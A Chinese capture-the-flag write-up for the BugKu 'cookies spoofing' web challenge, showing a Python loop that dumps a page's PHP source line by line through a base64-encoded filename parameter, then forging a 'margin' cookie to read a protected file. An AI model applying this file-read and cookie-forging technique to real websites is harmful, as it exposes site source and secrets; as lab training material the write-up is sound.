BugKu:cookies 欺骗

题目链接
http://123.206.87.240:8002/web11/
BugKu:cookies 欺骗_第1张图片
查看源码后没有可用信息
观察url发现参数filename的值加密了
解密后filename=keys.txt
尝试用修改参数filename的值为index.php(注意此处要用base64加密为aW5kZXgucGhw)
发现参数line没有给值,随意赋值如3,出现
BugKu:cookies 欺骗_第2张图片
写脚本抓原代码,先试一下有多少行,100,50,25,20都无回显,大约定在20

    import requests
    import re
    
    for i in range(1,21):
        url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
        s=requests.get(url)
        print(s.text)

读取的源码:

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

 

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

 

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

分析源代码,当cookie的margin=margin时,可以访问一个keys.php文件
注意把参数filename的值改为base64加密后的keys.php
BugKu:cookies 欺骗_第3张图片
得到flag

你可能感兴趣的:(python,ctf,web)